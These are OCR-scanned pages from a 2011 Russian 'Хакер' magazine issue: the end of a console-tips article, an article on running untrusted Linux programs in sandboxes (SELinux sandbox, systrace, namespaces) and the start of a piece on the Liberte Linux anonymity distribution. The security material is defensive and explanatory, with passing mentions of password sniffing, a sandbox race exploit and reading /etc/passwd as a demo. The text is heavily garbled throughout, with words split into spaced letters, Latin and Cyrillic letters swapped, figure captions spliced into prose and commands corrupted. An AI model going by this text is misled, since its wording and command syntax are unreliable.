Дал ее сл едует п ереза пустить тер м и н ал и л и п ереза грузить файл н а ­ строек ( кома нда « s o u rce -I. bashrc» ) . С п и с о к в ы води м ы х категор и й форту н о к можно получ ить, введ я : ХАКЕР 0 3 ' 1 46/ 2 0 1 1

Заключение

С обств е н н о , это все. Следуя рекоменда ц и я м , о п и са н н ы м в статье , ты сможеш ь сделать работу в консоли гораздо бол е е удо б н о й и про­ дукти в н о й , а также освободить в р е м я для более важн ы х з а н я ти Й . :Х:

� 087


Зоопа к на ка антине

З апускаем не б е з опасны й с о фт б е з вреда системе С овсем скоро писатели троянов и п роче й нечисти всерьез возьмутся за пингвина и на б ерутся знани й , что б ы создать по-настоящему опасные вирусы. Даже уже су щ ествую щ их троянов не так просто отличить от легальных программ, зато их всегда можно поместить в карантин, М ногие даже очень грамотн ы е пользователи U N IХ-подобных систем считают свои ОС неуя з в и м ы м и к разного рода п рогра м м н о й заразе. И одна из гла в н ы х п р и ч и н такой уверен ности - традиция уста навл ивать софт ч ерез п роверен н ы е , подписа нные сертифика­ та ми репозито р и и , которые по определению не могут содержать зловредн ы х про гра мм. Вторая п р и ч и на - разделе н и е п рав, бла­ годаря которому малвари довольно трудно навредить системе или прописаться в автоза­ грузку [пользователи Windows любят наделять себя п равами админа, в U N IX это не только не поощряется, но часто и вовсе запрещено]. Можно долго говорить о том , насколько абсур­ дна такая уверен ность; о 95% пользователей Ubuntu, которые споко й н о уста навл и ва ют л юбой подсунутый им deb-пакет; о до смешно­ го п ростом способе п ерехвата пользователь­ ского па роля с помощью программ типа xspy; об автозагрузке КОЕ и G N O M E , прописаться в которую можно , создав скрипт, состоя щий из

� 088

одной строки . . Но это статья о другом. В конце кон цов, все м ы л юди, и никто из нас не за­ страхован от ош ибок, к тому же и н о гда очен ь трудно отказать себе в запуске програ м м ы , скачанной из непроверенного исто ч н и ка.

Руки п рочь от фа йлов

Оди н из наиболее попул я р н ы х способов помещения приложен и я в изол и рован ную среду - это так называемые песоч н и ц ы , которые в L i п u х представлены систе м н ы м вызовом c h root, во FreeBSO - технологией jаil [тюрьма ] , в Solaris - зонами [ил и , говоря я з ы ком маркетологов, контейнера м и ] . Все это отл и ч н ы е способы изол ировать софтину от основной систем ы так, чтобы она н е смогла ей навредить. Однако у всех трех технологий есть несколько недостатков, которые делают их неудобн ы м и для использован и я на дома шнем компе. Все они требуют создан и я полной коп и и существующей систе м ы , на что тратится время, дисковое пространство [что

на сегодня ш н и й день, п равда , не та к важно] и нервы. Все технологии относител ьно п росты в испол ьзова н и и , но требуют чтения доку­ мента ц и и и в н и ка н ия в детал и . Кроме всего прочего, гол ы й c h root са м по себе н и ко гда не являлся и н струментом обеспечения безопас­ ности, а потому уязвим для многих типов ата к. П рограмму можно запустить в в и ртуальной машине, н о эта процедура опятьже п отребует созда н и я выделенной м а ш и н ы , скачивания/ созда ния образов, перемещения п р иложения между реальной и виртуал ьной м а ш и н о й . В обще м , п роблем и возни п редостаточно. Н а м же требуется простое средство, с по­ м ощью которого можно в одну-две команды послать п р иложе н и е туда, откуда оно уже не выберется. И здесь м ы должны задуматься о том, какую функционал ьность п риложен и я следует огра н и ч и вать. Ведь есл и програ мме зап ретить абсолютно все, ее полезность ока­ жется нулевой [более того, м ы даже не сможем понять, зловредна ли она вообще]. ХАКЕР 0 3 / 1 46/ 2 0 1 1


Ограничение возможностей демона named с помощью systrace Чаще всего пользователи беспокоятся за сохра нность своих данных, поэтому многи м ИЗ них становится все равно, какую именно и нформацию троян сможет отослать в и нтернет или к какой бот-сети подкл ю ч ить м а ш ину. На первый взгляд кажется, что защитить конфиденци­ альные да нные п росто. Для этого можно использовать доп олн ительную учетную запись, выступающую в рол и каранти н а : создаем пол ьзователя [который не состоит н и в ка ких системных группах) и за пускаем кома нду от его и м е н и с помощью sudo. Работая с п равами этого пользо­ вателя , п рограмма не сможет прочитать или моди ф и ци ро­ вать твои файлы парол е й , кл ючей и так далее, не сможет прописаться в а втозагрузку КОЕ или G N O M E. А если уста новить правильные п рава доступа на файлы своего основного пользователя [600, например), то и содержимое всех обычных файлов окажется в сохран ности. К сожалению, такой « псевдока ранти н» не спасет систему от серьезной заразы, способной испол ьзовать локальные уязвимости и а рхитектурные недостатки Linux, поэтому придется огра н и ч и вать п рогра мму не только в возмож­ ности п росматривать локал ьные файлы пользователе й , но и л и шать ее других ресурсов !скажем , сетевого обмена да н н ы м и , возможности за пуска других приложен и й или работы с локал ь н ы м и сервиса м и ) . Но обо всем по порядку.

Режем все

Хорошая, эффективная система изоля ции приложе н и й должна быть построена на многоуровневой основе, кото­ рая могла бы предотвратить ком п рометацию систе м ы в случае выхода приложен и я за гра н и цу одного из уровней. Та к, например, запустив приложение, подозреваемое в хищении л и ч ной и нформа ции, под именем неприви­ легирован ного пользователя, мы создадим лишь оди н уровен ь защиты , и , если зловред найдет с п особ получить п ра ва другого пользователя в системе, то он легко прочтет все его важные данные и отправит их злоум ышленнику любым из доступ н ы х с пособов. Н о если мы создадим ХАКЕР 0 3 1 1 46/ 20 1 1

второй уровень защиты в виде запрета н а использова ние определ е н н ы х сетевых п ротоколов или вообще откл ю­ чим все сетевые возможности п риложения - кражи не произойдет [если, конечно, п рограмма не сможет обойти и этот зап рет). П роблема только в том, что в ядре Linux нетуниверсального способа огра ничения п р иложе н и й в доступе к ресурсам . В свое время п редп р и н и малось множество попыток созда н и я та ких универсальных механизмов и п родвиже­ ния и х в ядро, но в резул ьтате пользователи получили не уни версальность, а разброс технологий. Так что сегодня Unux насчитывает ка к ми н и мум четы ре « ка рантин н ы е системы»: 1 . Хостовые системы обнаружения вторжен и й [ H I D S ) , та кие ка к S ELinux и АррАгтог, позволяют очень тонко контро­ л и ровать потребности приложен и й в ресурсах, но о н и сл и ш ком сложны в использова н и и рядовы м и юзера м и . Это учл и Д э н Уэлш и Э р и к П э р и с , создавшие утилиту sand box, которая испол ьзуетуже подготовле н н ы е жесткие политики для за пуска п р иложе н и й в песоч н и це. 2 , С исте м н ы й вызов ptrace позволяет отслежи вать то, какими систе м н ы м и вызовами пол ьзуется приложение, перехватывать И Х и блоки ровать в случае необходимости. Это наиболее попул я р н ы й и един ственный полностью кроссплатформенный способ огра ничения, испол ьзуе м ы й в та ких утилитах, к а к plash, sydbox и systгace, н о у него есть ми нус - излишняя медлительность. 3. П ространства имен. О перацион ная система Plan 9 оста­ вила свой отпечаток в Linux не только в виде виртуальной файловой системы pгocfs и кодировки UTF-8, но и в виде системного вызова clone[) и так называемых п ространств и м е н . Л юбой п роцесс Li nux, начиная с ядра 2.4. 1 9 , может создать подпроцесс с совершенно и н ы м представле­ нием файловой систе м ы . Есл и , например, родитель и все остальные процессы видят файловую систему ка к содержимое раздела /dev/sda 1 , смонтирован ного к корню, плюс /dеv/sdа5, смонти рованного K /home, и pгocfs к /ргос,

� i n fo

Для тестовых запусков приложений, требующих права суперпол ьзователя, можно использовать утил иту fakeгoot, позволяющую создать иллюзию того, что программа запущена пользователем root !становится возможным изменить любой файл системы). •

Qu besOS [gu bes­ os.org) - Linux­ дистри бути в, полностью построенный на идее изоляции процессов друг от друга с помощью виртуал иза ции. •

• Утил иту sand box, основан ную на SELi­ n u x, легко заставить п р и монти ро вать выбра н н ы е каталоги к каталогам / home/$USER и /tmp. Для этого есть опции ' - Н ' и ' -Т' : « sandbox -Н -/fa kehome -Т -/ fa ketmp vi» .


t m p fs - с

sudo sandbox

U s i n g t m p fs fo r c o p y - o n - w r i t e

> i' [J

u i d= 1 000 ( j l m )

2РУ

g i d= 1 000 ( j l m )

v i d e o ) } 1 0 0 ( u s e r s ) } 1 1 7 ( v lD o x u s e r s Sandbox от Стефана Грабера полностью изолирует приложение от основной системы то потомок может видеть вместо этого /dev/sda2, смонти рова н н ы й к корню, плюс /dev/sda7, смонти рован ны й K /rOOt, и пустой каталог /ргос. П р и ч е м то, ка к будет выглядеть файловая система для потомка, пол­ ностью оп ределяет родител ь. Меха н изм п ространств имен позволяет поместить п роцесс в свой обособл е н н ы й файловый м и рок, который не будет виден всем остальным п роцесса м. В ядрах ветки 2.6 к файловому пространству имен были доба вле н ы п ространства имен процессов, сети и I PC. Так что теперь процесс может видеть не только другую ФС, н о и другой набор системных п роцессов, сетевые и нтерфейсы Ic собс­ тве н н ы м и настройками маршрутизации и файрволаl и очереди IPC. На п ространствах и м е н основана система LXC и п росто й , н о удобный скрипт, написа н н ы й Стефа ном Гр а бер о м [stgra ber.orgl . 4 . Режим seccom p позволяет полностью запереть приложение в самом себе, так что п р и попытке и спользовать л юбой систе м н ы й вызов, кро­ ме exit[l , а также read[1 и write[1 в отношении уже открытых файловых дескри пторов, оно будет уничтожено. Для нас в таком жестком огран и ­ чен и и н е т ничего полезного, н о оно необходи мо для работы н е которых клиентов GRID [ которые представля ют собой небол ьшие п рогра м м ы , получающие дан н ы е на вход и посылающие резул ьтат их обработки н а BbIxOAI, а также д л я изоляции плагинов и вкладок в браузере Google C h rome. Кроме способности создавать многоуровневые системы изоля ции, хорошая песо ч н и ца должна уметь оп ределять, ка кие действия должны быть разреше н ы приложе н и ю п о умол ч а н и ю. Л юбой ш кольник пони­ мает, что было бы глупо запрещать web-браузеру создавать сетевые соединения и в то же время разреш ить ему вы полнять систе м н ы й вызов ехес[1 или ч итать ф а й л /etc/passwd, но ка к объясн ить это п рограмме, реализующей песочницу? Существует четыре возможных варианта : 1. Возложить работу по составл е н и ю п рав ил на плечи пол ьзовател я , ка к это делают S Е L i п u х и АррАгтог. Это са м ы й эффекти вный и гибкий вариант, у которого есть всего один серьез н ы й недостаток - слож­ ность. Даже матерые сисадм и н ы сч итают процесс составления п ра вил SЕLiпuх нелегким за няти е м , что уж говорить о тех, кто просто решил за пустить браузер в песоч н и це. 2. М ета- правила. Позволить пользователю самому составлять пра­ вила, облегчив задачу с помощью упроще н и я и группировки правил. Например, вместо массы разных правил типа « разреш ить открывать ТСР-соеди н е н ия к порту такому-то такого-то хоста» сделать одно бол ьшое п равило « разрешить сетевой доступ». Гибкость и безопасность систе м ы снизятся, зато удобство использован и я резко возрастет. В SЕLiпuх такое возможно. 3. Самообучение. Во время первых н ескольких запусков приложе н и я песочн и ца анализирует потребности п рограм м ы в ресурсах и сама составляет п равила. Это удобно на сервере, адм и н истратор которого беспокоится о безопасности своих сетевых сервисов, однако в том случае, когда мы изначально не можем доверять приложе н и ю, этот вариант не подходит.

� 090

4. С и гнализировать пользователю каждый раз, когда приложен и е

пытается задействовать ресурсы ОС. Этот вариант очень похож на тот, который используют м ногие файрволы Windows, вы водя щие окно с воп росом « Разрешить/Запретить» п р и и н и циал изации нового сете­ вого соеди н е н и я . Разум н ы й вариант, кото р ы й , тем не менее, требует от пользователя достаточно глубоких з н а н и й в области а рхитектуры операционных систем. Теперь, когда мы разобрал ись с те м , что должна уметь и как функ­ ционировать хорошая песочн и ца , посмотрим на то, что нам могут предложить п рогра ммисты. В следующих трех разделах мы изуч им три разные реал изации песоч н и ц дл я приложени й : утилиту sandbox, испол ьзующую возможности SELinux для помещения п р иложе н и й в каранти н ; systrace, о п и рающи йся на систе м н ы й вызов ptrace; и прос­ той руthоп-скрипт, и спользующий простра нства и м е н .

5а пdЬох-- SЕUпuх с человеческим лицом

Sandbox - это утилита, созда нная для обл е гчения за пуска неп рове­ ренных п р иложе н и й в песо ч н и це S ELinux с максимальным уровнем изол я ц и и . В отл и ч и е ОТ « ГОЛОГО» SELinux, утилита не требует какой бы то н и было первоначальной настройки и может быть использована аб­ солютно любым пользователе м , независимо от его уровня п одготовки. Функциональность приложен и я , запуще н н о го под управл е н и е м sandbox, оказывается сильно огра н и ч е н н о й . В частности, п рограмма не сможет открыть или создать н и оди н файл; доступ к сетевым функ­ циям ОС будет полностью отрез а н ; н есколько програ м м , запуще н н ых под управл е н и е м sand box, не смогут воздействовать друг на друга. В то же время программа сможет подгружать библиотеки, работать с уже открытым и файловы м и дескриптора м и , п исать в те кущий тер м и нал и получать доступ к времен ному хранили щу да нных, расположенному в операти вной памяти. Бла годаря столь жестки м огра н и ч е н и я м , sand box оказывается почти бесполезным при запуске п ростых кон ­ сольных утилит. Все, что можно сделать, это п росто заставить н е прове­ рен ную команду обработать какие-л и б о да н н ые. Н а п р и м е р : $ c a t / e t c /pas swd

I

s andbox c u t - d : - f 1

>

/ tmp / u se rs

Утилита cut, запущенная внутри песоч н и цы, сможет получить доступ к ста ндартным входным и выходны м потокам , а потому споко й н о

Начиная еще с версии 2.2, ядро Linux реализует механизм под назва­ нием capabilities, позволяющий наделять приложения полномочиями суперпользователя только для выполнения строго определенных функций [например, приложение может выполнять перезагрузку системы, но не способно получитьдоступ кдругим возможностям суперпользователяl. ХАКЕР 0 3 / 1 46 / 2 0 1 1


> s y s t r a c e -t I s /Ь i п/ l s ,

gs :

pid:

Апswег :

po l i cy :

/Ь i п/ l s ,

f i l te r s :

0,

sysca l l :

l i пuх64-Ьгk ( 1 2 ) ,

аг

2 6 4 65 ( 0 ) [ 0 ] ,

po l i cy :

/ Ь i п/ l s ,

f i l t ers :

1,

s y s ca l l :

1 i пuх64-fsгеаd ( 2 1 ) ,

p o l i cy :

/Ь i п/ l s ,

f i l te r s :

2,

s y s ca l l :

l i пuх64-mmар ( 9 ) ,

2 6 4 65 ( 0 ) [ 0 ] ,

po l i cy :

/ Ь i п/ l s ,

f i l te r s :

Э,

sysca l l :

l i пuх64-fstаt ( 5 ) ,

а

26465 ( 0 ) [ 0 ] ,

po l i cy :

/Ь i п/ l s ,

f i l ters :

4,

s y s ca l l :

l i п u х 6 4 - с l 0s е ( Э ) ,

a

2 6 4 65 ( 0 ) [ 0 ] ,

po l i cy :

/Ь i п/ l s ,

f i l te r s :

5,

sysca l l :

l i пuх64-геаd ( 0 ) ,

2 6 4 65 ( 0 ) [ 0 ] ,

p o l i cy :

/ Ь i п/ l s ,

f i l te r s :

6,

s y s ca l l :

l i пuх64-mргоtесt ( 1 0

perm i t

/ Ь i п/ l s ,

pid:

f i l еп а m е : Апswег :

/ е t с / l d . sо . п о h w с а р

perm i t

/ Ь i п/ l s ,

pid :

26465 ( 0 ) [ 0 ] ,

рг

PROT_READ I PROT_�R I TE

ot :

Апswег :

perm i t

/ Ь i п/ l s , rgs :

pid:

216

Апswег :

perm i t

/ Ь i п/ l s , rgs :

pid:

Апswег :

perm i t pid:

аг

216

Апswег :

perm i t

/ Ь i п/ l s ,

pid:

),

PROT_NONE

prot :

Апswег :

I

Отвечать на вопросы systrace - довольно скучное занятие

I

xteгm

"v

show sandbox options

То Ье аЫе to staгt gгaphical softwaгe оп youг cuггent kemel. you'lI need network 5Upport,

o

Netwoгk suppoгt

О

Real /home diгectory (jnstead of copy-on-wгite)

О

Real ttmp directory (jnstead of copy-on-wгite)

@

Stoгage type: Containeг size (jn Mib): �bout

]

ext4 (disk)

1492

О

х �ancel

tmpfs (тетогу)

] [ @f

I�I ]

�xecute

Графический интерфейс утилиты sandbox, основанной на идее пространств имен обработает представленные ей дан н ы е !содержимое /etc/passwdl и благополучно запи шет их файл /tmp/users благода ря перенаправ­ л е н и ю выходного потока [оно будет осуществлено уже за предел а м и песочницыl. Если же мы поп ытаемся открыть ф а й л /etc/passwd, находясь внутри песоч ницы, н ичего не получитс я : $ sandbox cut -d : - f l / e t c /passwd > / tmp /users / b i n / cut : / e t c /pas swd : Permi s s i on denied

Ка кие-то более серьезные зап росы п р иложения также будут откло­ нены. И это могло бы свести полезность sand box к нулю, если бы он н е б ы л основан на S E L i n u x . Дело в том, что политику жесткого ограниче­ ния, применяемую утил итой , можно изменить и при вести к нужному нам виду [ п ол итика н осит имя sand box_t, и ее можно отредактировать с помощью простой графической утилиты system-config-seli nux, входящей в состав дистрибутива Fedoral. Более того, sапd Ьох можно заставить испол ьзовать совершенно другую политику, п росто указав ее имя в качестве а ргумента опции ' -t' . Но это уже для тех, кто разбира­ ется в S E Linux. Х А К Е Р 0 3 / 1 46/ 20 1 1

Совсем и на ч е обстоит дел о с гра ф и ч е с к и м и п р и л оже н и я м и , которые sa n d box также умеет в п ол н е безопасно запускать внутр и песоч н и ц ы . Для этого п р едусмотрен фла г '-Х', испол ьзова н и е ко­ торого п р и водит К н ескол ьким кор е н н ы м и з м е н е н и я м в п оведе н и и ути л ит ы . В о - п е р в ы х , происходит запуск Х-сервера Xephyr, котор ы й работает внутри уже существующей Х-сесси и и и с п ол ьзуется в качестве и з олятора за пуска е м о го в песоч н и це п риложен и я от корневого Х-сервера. Внут р и Xep hyr п р о и сходит запуск м е н еджера окон Match box, кото р ы й растя ги вает окно п р иложе н и я на весь экран [«экран» только В р а м ках Xephyr, кото р ы й сам работает внутри окна корневого X-сервера l . Чтобы п р иложе н и е см огло получить доступ к дом а ш н ему каталогу и каталогу /tm p , но не смо гл о п роч итать х р а н я ­ щ и е с я в н и х ф а й л ы и на вредить, п редп р и н и мается серия за щитных действи й : 1 . В рамках рандомно выбран ного контекста S ELinux создаются два пустых каталога в $ H O M E D I R и /tmp. 2, Происходит запуск S ЕТUI D-утилиты /usr/sbi n/seu nshare , в качестве а ргументов которой передаются имена созда нных катаЛОГОВ, 1 D кон­ текста SELinux и и м я запускаемой п рогра м м ы . 3. Утилита seunshare испол ьзует простра нства имен [те с а м ы е , о ко­ торых МЫ говорили вышеl для монтирова н и я пустых каталогов поверх настоящих каталогов $ H O M E D I R и /tm p . 4 , В н о в о м файловом п ространстве имен происходит за пуск програм­ м ы , которая теперь может обра щаться только к в и ртуал ьному Х-серве­ ру и работать с «ненастоящ и м и » каталога м и /home и /tmp. Для запуска графических п р иложений испол ьзуется несколько иная политика S ELinux: sandbox_file_t, которая открывает возможность работы с файл а м и дома шнего каталога и каталога /tmp, хотя во всем остальном п р иложе н и е остается сил ьно ограниченны м в функцио­ нал ьности. Если же п р иложе н и е должно получить доступ к сетевым возможностя м , его следует за пускать, указав в качестве политики sandbox_web_t [возможность использовать протокол НТТРI или sandbox_net_t [полный доступ к сетевым возможностя м l : $ sandbox -Х - t s andbox_web_t f i re fox goog l e .

__ __

216

/Ь i п/ l s , gs :

2 6 4 65 ( 0 ) [ 0 ] ,

216

сот

Утилита уже вкл ючена в состав S Eli nux и может быть получена путем установки пакета selinux- policy версии не н иже 3.6. 1 2 и па кета policycoreutils версии не ниже 2.0.62.

� 091


SYSTRACE /SYSJAIL SMP EXPLOIT ExploitabIe гасе window between mеmогу copies

Р1

kernel user Attacker copies 0.0.0.0 into mеmогу

Sysjail copies in 0.0.0.0; validates and accept it.

bindO copies in

Sysjail replaces I P with j ail add ress 1 92. 1 68. 1 00 .20

0 .0 .0 .0 and uses it to bind socket

''''''11''.... ,. .. 11'' ..........

path

Р2

0 .0 . 0 . 0

1 92 . 1 68 . 1 00.20

0 .0 .0 .0

Attacker restores original system call argu ment of 0 . 0.0.0 before bindO copyin ru ns

Process waits 500k cycles оп C PU2 user

о том, как ломать ОрепВSD/Net8SD-реализацию sysПасе, Роберт ватсон рассказал еще в 2007 году

Systrace -обучаемая песочница

Н е с мотря на то. что гла в н ы м бэкэндом к systrace я в л я ется реал и ­ з а ц и я м е ха н изма « system call interp osition», доступ н а я в N e t B S D и O p e n B S D , а также в в иде патча в Li n u x , о н вполне н о р мально работает с рtгасе-бэкэндом ( кото р ы й хоть и тормоз ит, н о полно­ стью кроссплатфор м е н н ы й и не страдает от уяз в и м осте й! и м ожет п редложить п ользовател я м нескол ько у н и ка л ь н ы х х а р а ктер и сти к, н едоступ н ы х в других с и стемах. Гла в н о е отл и ч и е systrace от м ножества а н а л о го в ( в том ч и сл е sa n d box! з а кл ю ч а ется в возможности контрол и руемого пользова­ тел ем самообуч е н и я , когда утилита н а п р я мую с п р а ш и вает юзера о необходи мости з а п рета и л и разреше н и я о п р едел е н н ы х типов с и сте м н ых вызовов. Это п оз воля ет очень гибко контрол и ровать п роцесс и с п ол н е н и я п р о гр а м м ы и давать е й только то, что реал ь н о нужно. Кроме того, это отл и ч н ы й и н струм ент исследователя , кото­ р ы й п р о ще и н а гляднее ста ндартн о го strace. В большинстве дистри бутивов Linux systrace н ет, но он по умол ч а н и ю включен в OpenBSD, а также очень п рост в уста новке из исходн и ко в :

$ systrace - t l s

Те п е р ь п р и каждой п о п ытке в ы полн ить с и сте м н ы й в ы з о в подо­ п ыт н а я п рогра м м а будет оста н ов л е н а , а н а экран в ы веден в о п р о с о то м , стоит л и е го з а п р е щать. Ответом м ожет б ыть достаточ н о слож н о е усло в н о е в ы раже н и е , уч иты в а ю щее а р гу м е нты с и сте м ­ н ого в ы з о в а , н о дл я п ростоты м ож н о и с п ол ьзо вать слова « permit» ( р а з р е ш ить! и « d eny» (зап ретить! . П онятно, что даже с а м ы е п ростые п р о гра м м ы в тече н и е ц и кл а с в о ­ е й работы м о гут в ы полн ить десятки и с о т н и с и сте м н ы х в ы з о в о в , и будет о ч е н ь сложно вручную ф и л ьтровать их все. П оэтому в syst race п редусмотрен р е ж и м « п ол н о го доверия», когда п рогра м м а за пускается с р а з ре ш е н и е м всего и ген е р и рует файл п ра в и л , кото р ы й затем можн о отреда кти р о вать, з а п ретив о п а с н ы е с и сте м н ы е в ы з о в ы - та к и е , н а п р и м е р , к а к ехес ( ! . Чтобы за пустить systrace в это м р е ж и м е , достато ч н о указать фла г '-Д': $ sys t race -А l s

$ sudo apt -get i n s t a l l bui ld-es sent i a 1 \ 1 ibevent - 1 . 4 - 2 1 i bevent-dev

Файл п ра вил можно найти в каталоге -/.systrace:

$ wget http : / /www . provos . org/up1oads / systrace - 1 . 6g . tar . gz $ ta r -xzf systrace - 1 . 6g . tar . g z

$ l s -1 /home / j 1m/ . systrace/

$ . / con f i gure - -pre f ix = / u s r ! 1oca1 && make

-rw- - - - - - - 1 j 1т j 1т 6 3 1 2 0 1 1 - 0 1 - 0 4 1 2 : 24 bin_1s

$ sudo make i n s t a 1 1

За пускать п р иложе н и я п од управлением systrace п росто. Достаточно указать имя п рогра м м ы в качестве аргумента : $ systrace l s

По умол ч а н и ю утилита п ытается задействовать возможности графической п рогра м м ы xsystrace для в ывода вопросов на экран. Однако xsystrace не входит в ста ндартную поставку systrace, поэтому п ридется при нудител ьно заставить утилиту и спользовать текстовый режи м :

� 092

Однако надо понимать, что « режим доверия» придуман для того, чтобы защитить програ м м ы от возможных атак, и для запуска подозрительного кода он н е подходит, в этом случае п ридется самостоятельно запрещать или разрешать систе м н ы е вызовы по мере в ы п ол н е н ия п рогра м м ы .

П ространства имен или sandbox- 2

Sand box, н а п и са н н ы й Стефа н о м Грабером, - это крохотная утилита командной строки, которая испол ьзует п ростра нства и м е н , чтобы запереть подоп ытное п риложе н и е в песочнице. О н а в ы годно отл и ч а етХАКЕР 0 3 / 1 46/ 2 0 1 1


/bin/ l s J

Emu l a t i on :

l i nux64-br k :

perm i t

l i nux64- fsread : l i nux64-mmap :

true then perm i t

perm i t

l i nux64-wr i tev :

perm i t

l i nux64-ex i t_group :

perm i t

1 i nux64- f s t a t , perm i t 1 i nux64-c l ose , perm i t l i nux64-read :

perm i t

l i nux64-mpro tec t :

perm i t

l i nux64-arch_prc t l : l i nux64-munmap :

perm i t

perm i t

l i nux64-se t t i d address '

perm i t

l i nux64-se t robu s t

perm i t

l i nux64- fu tex :

l ist '

perm i t

l i nux64-r t_s i gac t i on :

perm i t

l i nux64-r t_s i gprocmas k : l i nux64-ge tr l i m i t : l i nux64-s t a t fs :

perm i t

perm i t

l i nux64- i oc t l '

perm i t

l i nux64- fcnt l '

cmd eq

l i nux64-ge tden ts : l i n u x 6 4 - wr i t e :

perm i t

" F GETFD "

then perm i t

perm i t

perm i t

Автоматически сгенерированный файл правил sysПасе ся от всех своих а налогов тем , что вместо зап ретов испол ьзует метод в и ртуал изаци и ресурсо в , п о м е щая п рограмму в изол ирован ную среду испол н е н и я , которая не с о п р и касается с основной систе м о й . Возможно, это не с а м ы й безопасный м етод, н о о н весьма способс­ твуетудобству и с пользования утилиты, которое сводится п росто к за пуску подопытной програ м м ы без необходи мости делать правки п р а в ил в том случае, если п рогра мме потребуется какой-то допол н и ­ тел ь н ы й ресурс. В сущн ост и , утил ита в ы п ол н я ет всего пять п ростых действ и й : 1 . С оздает н о в ы й пустой катал о г l н а з о в е м е го $ N EWRO OT] и м о н ­ ти рует к н е м у кор н е в о й ката л о г с и стем ы в р е ж и м е copy-on -write Iдля это го и с п ол ьзуется о в е р л е й н а я ф а й л о в а я с и стема a uf s ] . 2. М онти рует каталог /h o m e к $ N EWROOT/home. 3 . Создает новое п ространство и ме н для всех возможных ресурсо в . 4. П одкл ючает procfs к каталогу $N EWROOT/pro c . 5 . Делает c h root в каталог $ N EWROOT и за пускает п р ил оже н и е . В резул ьтате п ро гра м м а о ка з ы в а ется в довольно и нтересной с реде, которая в не ш н е п охожа на с реду обы ч н о й с и сте м ы , н о отл и ч а ется от нее тем, что м од и ф и ка ц и я л юбого файла, за и с кл юч е н и е м ф а й ­ л о в каталога /home Iхотя это н а стра и ва етс я ] , будет в и д н а только самому п р иложе н и ю . Другие п роцессы и каналы коммун и ка ц и и I PC не будут видны из песоч н и цы , а знач ит, не с м о гут быть э ксплуати­ рова н ы . П рограмма с м ожет и з м ен ить сете в ы е н а строй ки песоч н и ХАКЕР 0 3 / 1 46/ 2 0 1 1

ц ы , но эти и з м е н е н и я также не отразятся н а о с н о в н о й с и сте м е . Утилита н е в кл юч е н а н и в о д и н ди стр и бути в , поэто му ее п р идется получать и ко м п и л и р овать сам остоятел ь н о : $ sudo ap t - ge t i n s t a l l b z r $ b z r branch lp : - s t graber / + j un k/ s andbox $ cd s andbox ; make $ sudo make i n s t a l l

П осле этого за пуска ем графи ч еский и нтерфейс s а п d Ьох- g u i , с п о ­ мощью котор о го м о ж н о и з м е н ить н е кото р ы е настро й к и песоч н и цы I п оддержка сети , подкл ю ч е н и е реал ь н ы х каталогов /home и /t m p ] и за пустить п р ил оже н и е . П ро г р а м м а требует п рава суп е р п ользова­ тел я , п о этому п р идется ввести с в о й па роль.

В ЫВОДЫ

Н есмотря н а отсутст в и е еди н о го ста нда ртн о го и нтерфейса дл я огра н и ч е н ия п р ил о же н и й в воз м ож н остях , L i n u x обладает в с е м н еобход и м ы м для б ез о п а с н о го за пуска п р и л оже н и й в ка р а н т и н е . О п и с а н н ы е в статье и н струменты - л и ш ь м а л а я ч а сть т о г о , что было созда н о за м н о г и е год ы , та к что если тебе не п р и гл я нул а с ь н и одна и з с и стем , в с е гда м о ж н о н а йти досто й ную а л ьте р н ати ву. :::х::

� 093


...

\ \

Веб-сер инг вLiberte шапке-невидимке Linux: О С для настоя ще г о аноним ус а

в анон и мной ра б оте в и нтернете уже давно за и нтересованы не только

господа в черных ш ляпах : нередк и случа и , когда о б ычных пользователе и пр и влекал и к ответственност и всего л иш ь за нелестны и комментар ий и л и зап и сь в б логе. С прос рождает предложение, так что сегодня речь по й дет о б и нструменте дост и жен и я анон и мност и Liberte Linux . v

v

З апили мне Liberte на срлеwку

Libert e Li n u x относится к семейству Live U 5 B -дистрибут и в о в , то есть дистрибу­ т и в о в , кото р ы е живут на фле ш ка х и п р о ч и х съе м н ы х носител я х . Это весьма удобно в тех случ а я х , когда требуется б ы стро развер нуть с реду дл я [ а н о н и м н о й ] работы на посторон­ н е м ком п ьюте р е , будь то дескто п , ноутбук или н етбук без оптического п р и в ода. С реди кл ю ч е в ы х особе н ностей дистрибутива, отл и ч а ющих его от а налогичных р е ш е н и й , стоит отметить следующие: • п о в ы ш е н н а я безопасность систем ы [так ка к в основе - H a rd e ned Gentoo Linux]; • п ростота испол ьз о в а н и я ; • нетребовательность к систе м н ы м ресурса м ; • весь сетевой траф и к идет ч ерез Тог; • возможность общаться с други ми а н о н и ­ муса ми через скрыты е с е р в и с ы Т о г [опция

� 094

доступна п ол н о стью в версии 2 0 1 1 . 1 ] ; ш ифрова н и е всей пользовател ьской информаци и . Несмотря на то, что дистрибутив о с н о в а н н а Gentoo, компилировать ядро и софт не потре­ буется , а если п р и с п и ч ит собрать из исходни­ ков , то этот процесс максимально а втомати­ зирован. Образ, кото р ы й можно з а п и сать на фле ш ку или 5 0 - ка рту, уже содержит в себе все нужное для работы . В состав дистрибути­ ва входит тол ько л егковесное ПО, основан­ ное на GTK; м и н имал исти ч н ы й и б ыстр ы й ме­ неджер окон ОрепЬох; модул ь н ы й Х-сервер с TrueType ш р и фта м и . П оддержива ются все uпiсоdе-локали и раскладки клавиатур, а та к­ же имеется поддержка ви ртуальной экран­ ной кла виатуры. Все п р иложения собран ы с испол ьзованием и н струмента р ия сборки проекта H a rd e ned Gentoo, который в ключает та кие патч и , как 55Р [защита от переполне•

н и я стека и буфера] и A5LR [рандомизация расп ределения памяти]. Весь необходи м ы й для работы софт есть в наличии: • M idori 0.2.8 - л егковесн ы й брауз е р , осно­ в а н н ы й на движке Web Ki t и тул ките GTK; • C laws M a i l 3.7.6 - быстры й и л егкий кл иент электронной почты с графическим и нтерфейсом, полностью поддержи вающий шифрова н и е G n u P G ; • 5akura 2 . 3 . 8 - эмулятор терминала, осно­ ван н ы й на VTE ; • Audacious 2 . 4 . 0 - аудиопроигрыватель с поддержкой всех распростра н е н н ы х форма­ тов [ т р3, 099, flac, аре]; • G N O M E M p layer O.9.9.2 - ста ндартны й для окружения G N O M E п роигрыватель видеофай­ лов, фронтэнд для m player на GTK; P C M a n F M 0 . 9 . 7 - файловый менеджер с графическим интерфейсом [ M id n i 9 h t С о m m а п d е г та кже в твоем распоряже н и и ] ; •

ХАКЕР 0 3 / 1 46/ 2 0 1 1


Re

'" j\'�

Если тебя занесет в страны, выделенные черным - не забудь прихватить с собой флешку с Uberte Unux: в них интернет-цензура наибо­ лее жесткая • Еvi псе 2.30.3 - п росмотрщик документов pdf [с подде-

